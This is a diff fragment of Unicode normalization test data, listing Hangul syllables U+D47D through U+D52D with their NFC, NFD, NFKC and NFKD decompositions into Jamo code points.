+{ source: [0xD47D], NFC: [0xD47D], NFD: [0x1111, 0x116E, 0x11AC], NFKC: [0xD47D], NFKD: [0x1111, 0x116E, 0x11AC] },
+{ source: [0xD47E], NFC: [0xD47E], NFD: [0x1111, 0x116E, 0x11AD], NFKC: [0xD47E], NFKD: [0x1111, 0x116E, 0x11AD] },
+{ source: [0xD47F], NFC: [0xD47F], NFD: [0x1111, 0x116E, 0x11AE], NFKC: [0xD47F], NFKD: [0x1111, 0x116E, 0x11AE] },
+{ source: [0xD480], NFC: [0xD480], NFD: [0x1111, 0x116E, 0x11AF], NFKC: [0xD480], NFKD: [0x1111, 0x116E, 0x11AF] },
+{ source: [0xD481], NFC: [0xD481], NFD: [0x1111, 0x116E, 0x11B0], NFKC: [0xD481], NFKD: [0x1111, 0x116E, 0x11B0] },
+{ source: [0xD482], NFC: [0xD482], NFD: [0x1111, 0x116E, 0x11B1], NFKC: [0xD482], NFKD: [0x1111, 0x116E, 0x11B1] },
+{ source: [0xD483], NFC: [0xD483], NFD: [0x1111, 0x116E, 0x11B2], NFKC: [0xD483], NFKD: [0x1111, 0x116E, 0x11B2] },
+{ source: [0xD484], NFC: [0xD484], NFD: [0x1111, 0x116E, 0x11B3], NFKC: [0xD484], NFKD: [0x1111, 0x116E, 0x11B3] },
+{ source: [0xD485], NFC: [0xD485], NFD: [0x1111, 0x116E, 0x11B4], NFKC: [0xD485], NFKD: [0x1111, 0x116E, 0x11B4] },
+{ source: [0xD486], NFC: [0xD486], NFD: [0x1111, 0x116E, 0x11B5], NFKC: [0xD486], NFKD: [0x1111, 0x116E, 0x11B5] },
+{ source: [0xD487], NFC: [0xD487], NFD: [0x1111, 0x116E, 0x11B6], NFKC: [0xD487], NFKD: [0x1111, 0x116E, 0x11B6] },
+{ source: [0xD488], NFC: [0xD488], NFD: [0x1111, 0x116E, 0x11B7], NFKC: [0xD488], NFKD: [0x1111, 0x116E, 0x11B7] },
+{ source: [0xD489], NFC: [0xD489], NFD: [0x1111, 0x116E, 0x11B8], NFKC: [0xD489], NFKD: [0x1111, 0x116E, 0x11B8] },
+{ source: [0xD48A], NFC: [0xD48A], NFD: [0x1111, 0x116E, 0x11B9], NFKC: [0xD48A], NFKD: [0x1111, 0x116E, 0x11B9] },
+{ source: [0xD48B], NFC: [0xD48B], NFD: [0x1111, 0x116E, 0x11BA], NFKC: [0xD48B], NFKD: [0x1111, 0x116E, 0x11BA] },
+{ source: [0xD48C], NFC: [0xD48C], NFD: [0x1111, 0x116E, 0x11BB], NFKC: [0xD48C], NFKD: [0x1111, 0x116E, 0x11BB] },
+{ source: [0xD48D], NFC: [0xD48D], NFD: [0x1111, 0x116E, 0x11BC], NFKC: [0xD48D], NFKD: [0x1111, 0x116E, 0x11BC] },
+{ source: [0xD48E], NFC: [0xD48E], NFD: [0x1111, 0x116E, 0x11BD], NFKC: [0xD48E], NFKD: [0x1111, 0x116E, 0x11BD] },
+{ source: [0xD48F], NFC: [0xD48F], NFD: [0x1111, 0x116E, 0x11BE], NFKC: [0xD48F], NFKD: [0x1111, 0x116E, 0x11BE] },
+{ source: [0xD490], NFC: [0xD490], NFD: [0x1111, 0x116E, 0x11BF], NFKC: [0xD490], NFKD: [0x1111, 0x116E, 0x11BF] },
+{ source: [0xD491], NFC: [0xD491], NFD: [0x1111, 0x116E, 0x11C0], NFKC: [0xD491], NFKD: [0x1111, 0x116E, 0x11C0] },
+{ source: [0xD492], NFC: [0xD492], NFD: [0x1111, 0x116E, 0x11C1], NFKC: [0xD492], NFKD: [0x1111, 0x116E, 0x11C1] },
+{ source: [0xD493], NFC: [0xD493], NFD: [0x1111, 0x116E, 0x11C2], NFKC: [0xD493], NFKD: [0x1111, 0x116E, 0x11C2] },
+{ source: [0xD494], NFC: [0xD494], NFD: [0x1111, 0x116F], NFKC: [0xD494], NFKD: [0x1111, 0x116F] },
+{ source: [0xD495], NFC: [0xD495], NFD: [0x1111, 0x116F, 0x11A8], NFKC: [0xD495], NFKD: [0x1111, 0x116F, 0x11A8] },
+{ source: [0xD496], NFC: [0xD496], NFD: [0x1111, 0x116F, 0x11A9], NFKC: [0xD496], NFKD: [0x1111, 0x116F, 0x11A9] },
+{ source: [0xD497], NFC: [0xD497], NFD: [0x1111, 0x116F, 0x11AA], NFKC: [0xD497], NFKD: [0x1111, 0x116F, 0x11AA] },
+{ source: [0xD498], NFC: [0xD498], NFD: [0x1111, 0x116F, 0x11AB], NFKC: [0xD498], NFKD: [0x1111, 0x116F, 0x11AB] },
+{ source: [0xD499], NFC: [0xD499], NFD: [0x1111, 0x116F, 0x11AC], NFKC: [0xD499], NFKD: [0x1111, 0x116F, 0x11AC] },
+{ source: [0xD49A], NFC: [0xD49A], NFD: [0x1111, 0x116F, 0x11AD], NFKC: [0xD49A], NFKD: [0x1111, 0x116F, 0x11AD] },
+{ source: [0xD49B], NFC: [0xD49B], NFD: [0x1111, 0x116F, 0x11AE], NFKC: [0xD49B], NFKD: [0x1111, 0x116F, 0x11AE] },
+{ source: [0xD49C], NFC: [0xD49C], NFD: [0x1111, 0x116F, 0x11AF], NFKC: [0xD49C], NFKD: [0x1111, 0x116F, 0x11AF] },
+{ source: [0xD49D], NFC: [0xD49D], NFD: [0x1111, 0x116F, 0x11B0], NFKC: [0xD49D], NFKD: [0x1111, 0x116F, 0x11B0] },
+{ source: [0xD49E], NFC: [0xD49E], NFD: [0x1111, 0x116F, 0x11B1], NFKC: [0xD49E], NFKD: [0x1111, 0x116F, 0x11B1] },
+{ source: [0xD49F], NFC: [0xD49F], NFD: [0x1111, 0x116F, 0x11B2], NFKC: [0xD49F], NFKD: [0x1111, 0x116F, 0x11B2] },
+{ source: [0xD4A0], NFC: [0xD4A0], NFD: [0x1111, 0x116F, 0x11B3], NFKC: [0xD4A0], NFKD: [0x1111, 0x116F, 0x11B3] },
+{ source: [0xD4A1], NFC: [0xD4A1], NFD: [0x1111, 0x116F, 0x11B4], NFKC: [0xD4A1], NFKD: [0x1111, 0x116F, 0x11B4] },
+{ source: [0xD4A2], NFC: [0xD4A2], NFD: [0x1111, 0x116F, 0x11B5], NFKC: [0xD4A2], NFKD: [0x1111, 0x116F, 0x11B5] },
+{ source: [0xD4A3], NFC: [0xD4A3], NFD: [0x1111, 0x116F, 0x11B6], NFKC: [0xD4A3], NFKD: [0x1111, 0x116F, 0x11B6] },
+{ source: [0xD4A4], NFC: [0xD4A4], NFD: [0x1111, 0x116F, 0x11B7], NFKC: [0xD4A4], NFKD: [0x1111, 0x116F, 0x11B7] },
+{ source: [0xD4A5], NFC: [0xD4A5], NFD: [0x1111, 0x116F, 0x11B8], NFKC: [0xD4A5], NFKD: [0x1111, 0x116F, 0x11B8] },
+{ source: [0xD4A6], NFC: [0xD4A6], NFD: [0x1111, 0x116F, 0x11B9], NFKC: [0xD4A6], NFKD: [0x1111, 0x116F, 0x11B9] },
+{ source: [0xD4A7], NFC: [0xD4A7], NFD: [0x1111, 0x116F, 0x11BA], NFKC: [0xD4A7], NFKD: [0x1111, 0x116F, 0x11BA] },
+{ source: [0xD4A8], NFC: [0xD4A8], NFD: [0x1111, 0x116F, 0x11BB], NFKC: [0xD4A8], NFKD: [0x1111, 0x116F, 0x11BB] },
+{ source: [0xD4A9], NFC: [0xD4A9], NFD: [0x1111, 0x116F, 0x11BC], NFKC: [0xD4A9], NFKD: [0x1111, 0x116F, 0x11BC] },
+{ source: [0xD4AA], NFC: [0xD4AA], NFD: [0x1111, 0x116F, 0x11BD], NFKC: [0xD4AA], NFKD: [0x1111, 0x116F, 0x11BD] },
+{ source: [0xD4AB], NFC: [0xD4AB], NFD: [0x1111, 0x116F, 0x11BE], NFKC: [0xD4AB], NFKD: [0x1111, 0x116F, 0x11BE] },
+{ source: [0xD4AC], NFC: [0xD4AC], NFD: [0x1111, 0x116F, 0x11BF], NFKC: [0xD4AC], NFKD: [0x1111, 0x116F, 0x11BF] },
+{ source: [0xD4AD], NFC: [0xD4AD], NFD: [0x1111, 0x116F, 0x11C0], NFKC: [0xD4AD], NFKD: [0x1111, 0x116F, 0x11C0] },
+{ source: [0xD4AE], NFC: [0xD4AE], NFD: [0x1111, 0x116F, 0x11C1], NFKC: [0xD4AE], NFKD: [0x1111, 0x116F, 0x11C1] },
+{ source: [0xD4AF], NFC: [0xD4AF], NFD: [0x1111, 0x116F, 0x11C2], NFKC: [0xD4AF], NFKD: [0x1111, 0x116F, 0x11C2] },
+{ source: [0xD4B0], NFC: [0xD4B0], NFD: [0x1111, 0x1170], NFKC: [0xD4B0], NFKD: [0x1111, 0x1170] },
+{ source: [0xD4B1], NFC: [0xD4B1], NFD: [0x1111, 0x1170, 0x11A8], NFKC: [0xD4B1], NFKD: [0x1111, 0x1170, 0x11A8] },
+{ source: [0xD4B2], NFC: [0xD4B2], NFD: [0x1111, 0x1170, 0x11A9], NFKC: [0xD4B2], NFKD: [0x1111, 0x1170, 0x11A9] },
+{ source: [0xD4B3], NFC: [0xD4B3], NFD: [0x1111, 0x1170, 0x11AA], NFKC: [0xD4B3], NFKD: [0x1111, 0x1170, 0x11AA] },
+{ source: [0xD4B4], NFC: [0xD4B4], NFD: [0x1111, 0x1170, 0x11AB], NFKC: [0xD4B4], NFKD: [0x1111, 0x1170, 0x11AB] },
+{ source: [0xD4B5], NFC: [0xD4B5], NFD: [0x1111, 0x1170, 0x11AC], NFKC: [0xD4B5], NFKD: [0x1111, 0x1170, 0x11AC] },
+{ source: [0xD4B6], NFC: [0xD4B6], NFD: [0x1111, 0x1170, 0x11AD], NFKC: [0xD4B6], NFKD: [0x1111, 0x1170, 0x11AD] },
+{ source: [0xD4B7], NFC: [0xD4B7], NFD: [0x1111, 0x1170, 0x11AE], NFKC: [0xD4B7], NFKD: [0x1111, 0x1170, 0x11AE] },
+{ source: [0xD4B8], NFC: [0xD4B8], NFD: [0x1111, 0x1170, 0x11AF], NFKC: [0xD4B8], NFKD: [0x1111, 0x1170, 0x11AF] },
+{ source: [0xD4B9], NFC: [0xD4B9], NFD: [0x1111, 0x1170, 0x11B0], NFKC: [0xD4B9], NFKD: [0x1111, 0x1170, 0x11B0] },
+{ source: [0xD4BA], NFC: [0xD4BA], NFD: [0x1111, 0x1170, 0x11B1], NFKC: [0xD4BA], NFKD: [0x1111, 0x1170, 0x11B1] },
+{ source: [0xD4BB], NFC: [0xD4BB], NFD: [0x1111, 0x1170, 0x11B2], NFKC: [0xD4BB], NFKD: [0x1111, 0x1170, 0x11B2] },
+{ source: [0xD4BC], NFC: [0xD4BC], NFD: [0x1111, 0x1170, 0x11B3], NFKC: [0xD4BC], NFKD: [0x1111, 0x1170, 0x11B3] },
+{ source: [0xD4BD], NFC: [0xD4BD], NFD: [0x1111, 0x1170, 0x11B4], NFKC: [0xD4BD], NFKD: [0x1111, 0x1170, 0x11B4] },
+{ source: [0xD4BE], NFC: [0xD4BE], NFD: [0x1111, 0x1170, 0x11B5], NFKC: [0xD4BE], NFKD: [0x1111, 0x1170, 0x11B5] },
+{ source: [0xD4BF], NFC: [0xD4BF], NFD: [0x1111, 0x1170, 0x11B6], NFKC: [0xD4BF], NFKD: [0x1111, 0x1170, 0x11B6] },
+{ source: [0xD4C0], NFC: [0xD4C0], NFD: [0x1111, 0x1170, 0x11B7], NFKC: [0xD4C0], NFKD: [0x1111, 0x1170, 0x11B7] },
+{ source: [0xD4C1], NFC: [0xD4C1], NFD: [0x1111, 0x1170, 0x11B8], NFKC: [0xD4C1], NFKD: [0x1111, 0x1170, 0x11B8] },
+{ source: [0xD4C2], NFC: [0xD4C2], NFD: [0x1111, 0x1170, 0x11B9], NFKC: [0xD4C2], NFKD: [0x1111, 0x1170, 0x11B9] },
+{ source: [0xD4C3], NFC: [0xD4C3], NFD: [0x1111, 0x1170, 0x11BA], NFKC: [0xD4C3], NFKD: [0x1111, 0x1170, 0x11BA] },
+{ source: [0xD4C4], NFC: [0xD4C4], NFD: [0x1111, 0x1170, 0x11BB], NFKC: [0xD4C4], NFKD: [0x1111, 0x1170, 0x11BB] },
+{ source: [0xD4C5], NFC: [0xD4C5], NFD: [0x1111, 0x1170, 0x11BC], NFKC: [0xD4C5], NFKD: [0x1111, 0x1170, 0x11BC] },
+{ source: [0xD4C6], NFC: [0xD4C6], NFD: [0x1111, 0x1170, 0x11BD], NFKC: [0xD4C6], NFKD: [0x1111, 0x1170, 0x11BD] },
+{ source: [0xD4C7], NFC: [0xD4C7], NFD: [0x1111, 0x1170, 0x11BE], NFKC: [0xD4C7], NFKD: [0x1111, 0x1170, 0x11BE] },
+{ source: [0xD4C8], NFC: [0xD4C8], NFD: [0x1111, 0x1170, 0x11BF], NFKC: [0xD4C8], NFKD: [0x1111, 0x1170, 0x11BF] },
+{ source: [0xD4C9], NFC: [0xD4C9], NFD: [0x1111, 0x1170, 0x11C0], NFKC: [0xD4C9], NFKD: [0x1111, 0x1170, 0x11C0] },
+{ source: [0xD4CA], NFC: [0xD4CA], NFD: [0x1111, 0x1170, 0x11C1], NFKC: [0xD4CA], NFKD: [0x1111, 0x1170, 0x11C1] },
+{ source: [0xD4CB], NFC: [0xD4CB], NFD: [0x1111, 0x1170, 0x11C2], NFKC: [0xD4CB], NFKD: [0x1111, 0x1170, 0x11C2] },
+{ source: [0xD4CC], NFC: [0xD4CC], NFD: [0x1111, 0x1171], NFKC: [0xD4CC], NFKD: [0x1111, 0x1171] },
+{ source: [0xD4CD], NFC: [0xD4CD], NFD: [0x1111, 0x1171, 0x11A8], NFKC: [0xD4CD], NFKD: [0x1111, 0x1171, 0x11A8] },
+{ source: [0xD4CE], NFC: [0xD4CE], NFD: [0x1111, 0x1171, 0x11A9], NFKC: [0xD4CE], NFKD: [0x1111, 0x1171, 0x11A9] },
+{ source: [0xD4CF], NFC: [0xD4CF], NFD: [0x1111, 0x1171, 0x11AA], NFKC: [0xD4CF], NFKD: [0x1111, 0x1171, 0x11AA] },
+{ source: [0xD4D0], NFC: [0xD4D0], NFD: [0x1111, 0x1171, 0x11AB], NFKC: [0xD4D0], NFKD: [0x1111, 0x1171, 0x11AB] },
+{ source: [0xD4D1], NFC: [0xD4D1], NFD: [0x1111, 0x1171, 0x11AC], NFKC: [0xD4D1], NFKD: [0x1111, 0x1171, 0x11AC] },
+{ source: [0xD4D2], NFC: [0xD4D2], NFD: [0x1111, 0x1171, 0x11AD], NFKC: [0xD4D2], NFKD: [0x1111, 0x1171, 0x11AD] },
+{ source: [0xD4D3], NFC: [0xD4D3], NFD: [0x1111, 0x1171, 0x11AE], NFKC: [0xD4D3], NFKD: [0x1111, 0x1171, 0x11AE] },
+{ source: [0xD4D4], NFC: [0xD4D4], NFD: [0x1111, 0x1171, 0x11AF], NFKC: [0xD4D4], NFKD: [0x1111, 0x1171, 0x11AF] },
+{ source: [0xD4D5], NFC: [0xD4D5], NFD: [0x1111, 0x1171, 0x11B0], NFKC: [0xD4D5], NFKD: [0x1111, 0x1171, 0x11B0] },
+{ source: [0xD4D6], NFC: [0xD4D6], NFD: [0x1111, 0x1171, 0x11B1], NFKC: [0xD4D6], NFKD: [0x1111, 0x1171, 0x11B1] },
+{ source: [0xD4D7], NFC: [0xD4D7], NFD: [0x1111, 0x1171, 0x11B2], NFKC: [0xD4D7], NFKD: [0x1111, 0x1171, 0x11B2] },
+{ source: [0xD4D8], NFC: [0xD4D8], NFD: [0x1111, 0x1171, 0x11B3], NFKC: [0xD4D8], NFKD: [0x1111, 0x1171, 0x11B3] },
+{ source: [0xD4D9], NFC: [0xD4D9], NFD: [0x1111, 0x1171, 0x11B4], NFKC: [0xD4D9], NFKD: [0x1111, 0x1171, 0x11B4] },
+{ source: [0xD4DA], NFC: [0xD4DA], NFD: [0x1111, 0x1171, 0x11B5], NFKC: [0xD4DA], NFKD: [0x1111, 0x1171, 0x11B5] },
+{ source: [0xD4DB], NFC: [0xD4DB], NFD: [0x1111, 0x1171, 0x11B6], NFKC: [0xD4DB], NFKD: [0x1111, 0x1171, 0x11B6] },
+{ source: [0xD4DC], NFC: [0xD4DC], NFD: [0x1111, 0x1171, 0x11B7], NFKC: [0xD4DC], NFKD: [0x1111, 0x1171, 0x11B7] },
+{ source: [0xD4DD], NFC: [0xD4DD], NFD: [0x1111, 0x1171, 0x11B8], NFKC: [0xD4DD], NFKD: [0x1111, 0x1171, 0x11B8] },
+{ source: [0xD4DE], NFC: [0xD4DE], NFD: [0x1111, 0x1171, 0x11B9], NFKC: [0xD4DE], NFKD: [0x1111, 0x1171, 0x11B9] },
+{ source: [0xD4DF], NFC: [0xD4DF], NFD: [0x1111, 0x1171, 0x11BA], NFKC: [0xD4DF], NFKD: [0x1111, 0x1171, 0x11BA] },
+{ source: [0xD4E0], NFC: [0xD4E0], NFD: [0x1111, 0x1171, 0x11BB], NFKC: [0xD4E0], NFKD: [0x1111, 0x1171, 0x11BB] },
+{ source: [0xD4E1], NFC: [0xD4E1], NFD: [0x1111, 0x1171, 0x11BC], NFKC: [0xD4E1], NFKD: [0x1111, 0x1171, 0x11BC] },
+{ source: [0xD4E2], NFC: [0xD4E2], NFD: [0x1111, 0x1171, 0x11BD], NFKC: [0xD4E2], NFKD: [0x1111, 0x1171, 0x11BD] },
+{ source: [0xD4E3], NFC: [0xD4E3], NFD: [0x1111, 0x1171, 0x11BE], NFKC: [0xD4E3], NFKD: [0x1111, 0x1171, 0x11BE] },
+{ source: [0xD4E4], NFC: [0xD4E4], NFD: [0x1111, 0x1171, 0x11BF], NFKC: [0xD4E4], NFKD: [0x1111, 0x1171, 0x11BF] },
+{ source: [0xD4E5], NFC: [0xD4E5], NFD: [0x1111, 0x1171, 0x11C0], NFKC: [0xD4E5], NFKD: [0x1111, 0x1171, 0x11C0] },
+{ source: [0xD4E6], NFC: [0xD4E6], NFD: [0x1111, 0x1171, 0x11C1], NFKC: [0xD4E6], NFKD: [0x1111, 0x1171, 0x11C1] },
+{ source: [0xD4E7], NFC: [0xD4E7], NFD: [0x1111, 0x1171, 0x11C2], NFKC: [0xD4E7], NFKD: [0x1111, 0x1171, 0x11C2] },
+{ source: [0xD4E8], NFC: [0xD4E8], NFD: [0x1111, 0x1172], NFKC: [0xD4E8], NFKD: [0x1111, 0x1172] },
+{ source: [0xD4E9], NFC: [0xD4E9], NFD: [0x1111, 0x1172, 0x11A8], NFKC: [0xD4E9], NFKD: [0x1111, 0x1172, 0x11A8] },
+{ source: [0xD4EA], NFC: [0xD4EA], NFD: [0x1111, 0x1172, 0x11A9], NFKC: [0xD4EA], NFKD: [0x1111, 0x1172, 0x11A9] },
+{ source: [0xD4EB], NFC: [0xD4EB], NFD: [0x1111, 0x1172, 0x11AA], NFKC: [0xD4EB], NFKD: [0x1111, 0x1172, 0x11AA] },
+{ source: [0xD4EC], NFC: [0xD4EC], NFD: [0x1111, 0x1172, 0x11AB], NFKC: [0xD4EC], NFKD: [0x1111, 0x1172, 0x11AB] },
+{ source: [0xD4ED], NFC: [0xD4ED], NFD: [0x1111, 0x1172, 0x11AC], NFKC: [0xD4ED], NFKD: [0x1111, 0x1172, 0x11AC] },
+{ source: [0xD4EE], NFC: [0xD4EE], NFD: [0x1111, 0x1172, 0x11AD], NFKC: [0xD4EE], NFKD: [0x1111, 0x1172, 0x11AD] },
+{ source: [0xD4EF], NFC: [0xD4EF], NFD: [0x1111, 0x1172, 0x11AE], NFKC: [0xD4EF], NFKD: [0x1111, 0x1172, 0x11AE] },
+{ source: [0xD4F0], NFC: [0xD4F0], NFD: [0x1111, 0x1172, 0x11AF], NFKC: [0xD4F0], NFKD: [0x1111, 0x1172, 0x11AF] },
+{ source: [0xD4F1], NFC: [0xD4F1], NFD: [0x1111, 0x1172, 0x11B0], NFKC: [0xD4F1], NFKD: [0x1111, 0x1172, 0x11B0] },
+{ source: [0xD4F2], NFC: [0xD4F2], NFD: [0x1111, 0x1172, 0x11B1], NFKC: [0xD4F2], NFKD: [0x1111, 0x1172, 0x11B1] },
+{ source: [0xD4F3], NFC: [0xD4F3], NFD: [0x1111, 0x1172, 0x11B2], NFKC: [0xD4F3], NFKD: [0x1111, 0x1172, 0x11B2] },
+{ source: [0xD4F4], NFC: [0xD4F4], NFD: [0x1111, 0x1172, 0x11B3], NFKC: [0xD4F4], NFKD: [0x1111, 0x1172, 0x11B3] },
+{ source: [0xD4F5], NFC: [0xD4F5], NFD: [0x1111, 0x1172, 0x11B4], NFKC: [0xD4F5], NFKD: [0x1111, 0x1172, 0x11B4] },
+{ source: [0xD4F6], NFC: [0xD4F6], NFD: [0x1111, 0x1172, 0x11B5], NFKC: [0xD4F6], NFKD: [0x1111, 0x1172, 0x11B5] },
+{ source: [0xD4F7], NFC: [0xD4F7], NFD: [0x1111, 0x1172, 0x11B6], NFKC: [0xD4F7], NFKD: [0x1111, 0x1172, 0x11B6] },
+{ source: [0xD4F8], NFC: [0xD4F8], NFD: [0x1111, 0x1172, 0x11B7], NFKC: [0xD4F8], NFKD: [0x1111, 0x1172, 0x11B7] },
+{ source: [0xD4F9], NFC: [0xD4F9], NFD: [0x1111, 0x1172, 0x11B8], NFKC: [0xD4F9], NFKD: [0x1111, 0x1172, 0x11B8] },
+{ source: [0xD4FA], NFC: [0xD4FA], NFD: [0x1111, 0x1172, 0x11B9], NFKC: [0xD4FA], NFKD: [0x1111, 0x1172, 0x11B9] },
+{ source: [0xD4FB], NFC: [0xD4FB], NFD: [0x1111, 0x1172, 0x11BA], NFKC: [0xD4FB], NFKD: [0x1111, 0x1172, 0x11BA] },
+{ source: [0xD4FC], NFC: [0xD4FC], NFD: [0x1111, 0x1172, 0x11BB], NFKC: [0xD4FC], NFKD: [0x1111, 0x1172, 0x11BB] },
+{ source: [0xD4FD], NFC: [0xD4FD], NFD: [0x1111, 0x1172, 0x11BC], NFKC: [0xD4FD], NFKD: [0x1111, 0x1172, 0x11BC] },
+{ source: [0xD4FE], NFC: [0xD4FE], NFD: [0x1111, 0x1172, 0x11BD], NFKC: [0xD4FE], NFKD: [0x1111, 0x1172, 0x11BD] },
+{ source: [0xD4FF], NFC: [0xD4FF], NFD: [0x1111, 0x1172, 0x11BE], NFKC: [0xD4FF], NFKD: [0x1111, 0x1172, 0x11BE] },
+{ source: [0xD500], NFC: [0xD500], NFD: [0x1111, 0x1172, 0x11BF], NFKC: [0xD500], NFKD: [0x1111, 0x1172, 0x11BF] },
+{ source: [0xD501], NFC: [0xD501], NFD: [0x1111, 0x1172, 0x11C0], NFKC: [0xD501], NFKD: [0x1111, 0x1172, 0x11C0] },
+{ source: [0xD502], NFC: [0xD502], NFD: [0x1111, 0x1172, 0x11C1], NFKC: [0xD502], NFKD: [0x1111, 0x1172, 0x11C1] },
+{ source: [0xD503], NFC: [0xD503], NFD: [0x1111, 0x1172, 0x11C2], NFKC: [0xD503], NFKD: [0x1111, 0x1172, 0x11C2] },
+{ source: [0xD504], NFC: [0xD504], NFD: [0x1111, 0x1173], NFKC: [0xD504], NFKD: [0x1111, 0x1173] },
+{ source: [0xD505], NFC: [0xD505], NFD: [0x1111, 0x1173, 0x11A8], NFKC: [0xD505], NFKD: [0x1111, 0x1173, 0x11A8] },
+{ source: [0xD506], NFC: [0xD506], NFD: [0x1111, 0x1173, 0x11A9], NFKC: [0xD506], NFKD: [0x1111, 0x1173, 0x11A9] },
+{ source: [0xD507], NFC: [0xD507], NFD: [0x1111, 0x1173, 0x11AA], NFKC: [0xD507], NFKD: [0x1111, 0x1173, 0x11AA] },
+{ source: [0xD508], NFC: [0xD508], NFD: [0x1111, 0x1173, 0x11AB], NFKC: [0xD508], NFKD: [0x1111, 0x1173, 0x11AB] },
+{ source: [0xD509], NFC: [0xD509], NFD: [0x1111, 0x1173, 0x11AC], NFKC: [0xD509], NFKD: [0x1111, 0x1173, 0x11AC] },
+{ source: [0xD50A], NFC: [0xD50A], NFD: [0x1111, 0x1173, 0x11AD], NFKC: [0xD50A], NFKD: [0x1111, 0x1173, 0x11AD] },
+{ source: [0xD50B], NFC: [0xD50B], NFD: [0x1111, 0x1173, 0x11AE], NFKC: [0xD50B], NFKD: [0x1111, 0x1173, 0x11AE] },
+{ source: [0xD50C], NFC: [0xD50C], NFD: [0x1111, 0x1173, 0x11AF], NFKC: [0xD50C], NFKD: [0x1111, 0x1173, 0x11AF] },
+{ source: [0xD50D], NFC: [0xD50D], NFD: [0x1111, 0x1173, 0x11B0], NFKC: [0xD50D], NFKD: [0x1111, 0x1173, 0x11B0] },
+{ source: [0xD50E], NFC: [0xD50E], NFD: [0x1111, 0x1173, 0x11B1], NFKC: [0xD50E], NFKD: [0x1111, 0x1173, 0x11B1] },
+{ source: [0xD50F], NFC: [0xD50F], NFD: [0x1111, 0x1173, 0x11B2], NFKC: [0xD50F], NFKD: [0x1111, 0x1173, 0x11B2] },
+{ source: [0xD510], NFC: [0xD510], NFD: [0x1111, 0x1173, 0x11B3], NFKC: [0xD510], NFKD: [0x1111, 0x1173, 0x11B3] },
+{ source: [0xD511], NFC: [0xD511], NFD: [0x1111, 0x1173, 0x11B4], NFKC: [0xD511], NFKD: [0x1111, 0x1173, 0x11B4] },
+{ source: [0xD512], NFC: [0xD512], NFD: [0x1111, 0x1173, 0x11B5], NFKC: [0xD512], NFKD: [0x1111, 0x1173, 0x11B5] },
+{ source: [0xD513], NFC: [0xD513], NFD: [0x1111, 0x1173, 0x11B6], NFKC: [0xD513], NFKD: [0x1111, 0x1173, 0x11B6] },
+{ source: [0xD514], NFC: [0xD514], NFD: [0x1111, 0x1173, 0x11B7], NFKC: [0xD514], NFKD: [0x1111, 0x1173, 0x11B7] },
+{ source: [0xD515], NFC: [0xD515], NFD: [0x1111, 0x1173, 0x11B8], NFKC: [0xD515], NFKD: [0x1111, 0x1173, 0x11B8] },
+{ source: [0xD516], NFC: [0xD516], NFD: [0x1111, 0x1173, 0x11B9], NFKC: [0xD516], NFKD: [0x1111, 0x1173, 0x11B9] },
+{ source: [0xD517], NFC: [0xD517], NFD: [0x1111, 0x1173, 0x11BA], NFKC: [0xD517], NFKD: [0x1111, 0x1173, 0x11BA] },
+{ source: [0xD518], NFC: [0xD518], NFD: [0x1111, 0x1173, 0x11BB], NFKC: [0xD518], NFKD: [0x1111, 0x1173, 0x11BB] },
+{ source: [0xD519], NFC: [0xD519], NFD: [0x1111, 0x1173, 0x11BC], NFKC: [0xD519], NFKD: [0x1111, 0x1173, 0x11BC] },
+{ source: [0xD51A], NFC: [0xD51A], NFD: [0x1111, 0x1173, 0x11BD], NFKC: [0xD51A], NFKD: [0x1111, 0x1173, 0x11BD] },
+{ source: [0xD51B], NFC: [0xD51B], NFD: [0x1111, 0x1173, 0x11BE], NFKC: [0xD51B], NFKD: [0x1111, 0x1173, 0x11BE] },
+{ source: [0xD51C], NFC: [0xD51C], NFD: [0x1111, 0x1173, 0x11BF], NFKC: [0xD51C], NFKD: [0x1111, 0x1173, 0x11BF] },
+{ source: [0xD51D], NFC: [0xD51D], NFD: [0x1111, 0x1173, 0x11C0], NFKC: [0xD51D], NFKD: [0x1111, 0x1173, 0x11C0] },
+{ source: [0xD51E], NFC: [0xD51E], NFD: [0x1111, 0x1173, 0x11C1], NFKC: [0xD51E], NFKD: [0x1111, 0x1173, 0x11C1] },
+{ source: [0xD51F], NFC: [0xD51F], NFD: [0x1111, 0x1173, 0x11C2], NFKC: [0xD51F], NFKD: [0x1111, 0x1173, 0x11C2] },
+{ source: [0xD520], NFC: [0xD520], NFD: [0x1111, 0x1174], NFKC: [0xD520], NFKD: [0x1111, 0x1174] },
+{ source: [0xD521], NFC: [0xD521], NFD: [0x1111, 0x1174, 0x11A8], NFKC: [0xD521], NFKD: [0x1111, 0x1174, 0x11A8] },
+{ source: [0xD522], NFC: [0xD522], NFD: [0x1111, 0x1174, 0x11A9], NFKC: [0xD522], NFKD: [0x1111, 0x1174, 0x11A9] },
+{ source: [0xD523], NFC: [0xD523], NFD: [0x1111, 0x1174, 0x11AA], NFKC: [0xD523], NFKD: [0x1111, 0x1174, 0x11AA] },
+{ source: [0xD524], NFC: [0xD524], NFD: [0x1111, 0x1174, 0x11AB], NFKC: [0xD524], NFKD: [0x1111, 0x1174, 0x11AB] },
+{ source: [0xD525], NFC: [0xD525], NFD: [0x1111, 0x1174, 0x11AC], NFKC: [0xD525], NFKD: [0x1111, 0x1174, 0x11AC] },
+{ source: [0xD526], NFC: [0xD526], NFD: [0x1111, 0x1174, 0x11AD], NFKC: [0xD526], NFKD: [0x1111, 0x1174, 0x11AD] },
+{ source: [0xD527], NFC: [0xD527], NFD: [0x1111, 0x1174, 0x11AE], NFKC: [0xD527], NFKD: [0x1111, 0x1174, 0x11AE] },
+{ source: [0xD528], NFC: [0xD528], NFD: [0x1111, 0x1174, 0x11AF], NFKC: [0xD528], NFKD: [0x1111, 0x1174, 0x11AF] },
+{ source: [0xD529], NFC: [0xD529], NFD: [0x1111, 0x1174, 0x11B0], NFKC: [0xD529], NFKD: [0x1111, 0x1174, 0x11B0] },
+{ source: [0xD52A], NFC: [0xD52A], NFD: [0x1111, 0x1174, 0x11B1], NFKC: [0xD52A], NFKD: [0x1111, 0x1174, 0x11B1] },
+{ source: [0xD52B], NFC: [0xD52B], NFD: [0x1111, 0x1174, 0x11B2], NFKC: [0xD52B], NFKD: [0x1111, 0x1174, 0x11B2] },
+{ source: [0xD52C], NFC: [0xD52C], NFD: [0x1111, 0x1174, 0x11B3], NFKC: [0xD52C], NFKD: [0x1111, 0x1174, 0x11B3] },
+{ source: [0xD52D], NFC: [0xD52D], NFD: [0x1111, 0x1174, 0x11B4], NFKC: [0xD52D], NFKD: [0x1111, 0x1174, 0x11B4] },
